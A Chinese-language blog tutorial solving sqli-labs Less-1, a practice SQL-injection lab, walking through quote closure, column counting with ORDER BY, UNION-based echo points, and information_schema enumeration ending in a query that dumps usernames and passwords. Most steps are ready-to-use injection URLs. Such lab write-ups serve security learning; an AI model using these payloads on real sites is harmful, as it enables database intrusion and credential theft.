sqli-labs第一关(less-1)


一、前言

详细的写一写sqli-labs第一关(less-1),没事的时候还能回来看看,之后关卡就写写思路了不会这么详细(好累~)

二、开始

1、找注入点

入?id=1'报错,url为:

http://10.1.2.14/sqli/Less-1/?id=1'


所以?id=1这里为注入点

2、判断字符类型

按照惯例输入?id=2-1?id=2的结果进行比对
输入?id=2-1的结果为:

输入?id=2的结果为:

所以2-1中的减号没有被解析,可以判断为字符类型注入

3、构造闭合语句

构造闭合语句需要考虑几点:

1)如果有sql报错提示就看报错提示
2)结合mysql注释让后面的语句失效

首先从判断注入点那边放回的信息来分析:

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''2'' LIMIT 0,1' at line 1

提取有用的信息''2'' LIMIT 0,1',去掉系统带的前后两个'',结果为:'2'' LIMIT 0,1,再去掉我们输入的2',就剩下两个单引号'',可以判断两个单引号中间为sql语句传入值的地方。后面的limit 0,1不用管反正会被注释掉

可以看看源代码来验证一下

怎么闭合?
2'后面加入注释就可以:?id=2' --+后者?id=2' %23%23#

为什么不直接用#?是因为url中#代表锚点,会先被url处理,最后不会发送到后端服务器中

所以构造闭合的url为:

http://10.1.2.14/sqli/Less-1/?id=2' --+

返回的结果也是正常的,所以闭合成功~

3、测试当前表中的字段数量

语句闭合了,那就可以开心快乐的进行后面的操作了,走走流程先判断当前表中字段数量,使用order by语句

order by 3正常:

http://10.1.2.14/sqli/Less-1/?id=2' order by 3 --+

order by 4显示错误:

http://10.1.2.14/sqli/Less-1/?id=2' order by 4 --+

所以可以得出表中字段数量只有3个,那么就可以使用union select继续操作

4、测试回显点

使用union select 1,2,3进行测试

输入url:

http://10.1.2.14/sqli/Less-1/?id=2' union select 1,2,3 --+

结果显示:

这里会有疑问为什么没有显示1,2,3,我们回顾一下3、那边的源码:

可以发现limit 0,1明明被–+给注释掉了,但是却没有显示union出来的1,2,3

继续看源码,发现:

mysql_fetch_array()的意思是函数从结果集中取得一行作为关联数组,简单来说,就是读取一行

如果对union select 进行测试的话,会发现是在前面查询的结果后面加入union的内容,所以我可以在2的前面加一个-就成了?id=-2',就会让原来的id查不到结果而显示我们1,2,3

url如下:

http://10.1.2.14/sqli/Less-1/?id=-2' union select 1,2,3 --+

因为只有两个回显点,所以就显示了2,3,接下来就可以尽情的在23的位置插入需要执行的sql代码

5、显示当前数据库

1)这里需要用到常用函数database()

构造url为:

http://10.1.2.14/sqli/Less-1/?id=-2' union select 1,database(),3 --+

2)还可以显示所有数据库
使用系统自带的information_schema.schemata表来查,构造sql语句:

select group_concat(schema_name) from information_schema.schemata;

构造url:

http://10.1.2.14/sqli/Less-1/?id=-2' union select 1,group_concat(schema_name),3 from information_schema.schemata--+

6、查看当前库中所有的表

也是有很多查法

不知道当前库名也可以,使用刚刚的database()和information_schema.tables表

构造sql语句:

select group_concat(table_name) from information_schema.tables where table_schema = database();

构造url:

http://10.1.2.14/sqli/Less-1/?id=-2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database(); --+

7、查看某个表中的所有字段

这里拿users表来举例,要用到系统自带的information_schema.columns表

构造sql语句:

select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users';

构造url:

http://10.1.2.14/sqli/Less-1/?id=-2' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema = database() and table_name = 'users' --+

8、读取表中的数据

知道了表名和其中的字段名那就可以舒服的读想要的数据了

构造sql语句:

select group_concat(username,'~',password) from users;

构造url:

http://10.1.2.14/sqli/Less-1/?id=-2' union select 1,group_concat(username,'~',password),3 from users --+

三、小总结

sql注入要弄出来需要注意几点:
1)注入点
2)注入类型:整数型还是字符型
3)闭合语句
4)执行准备好的sql语句
5)绕过那些过滤


文章作者: xi3w3n
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 xi3w3n !
评论
  目录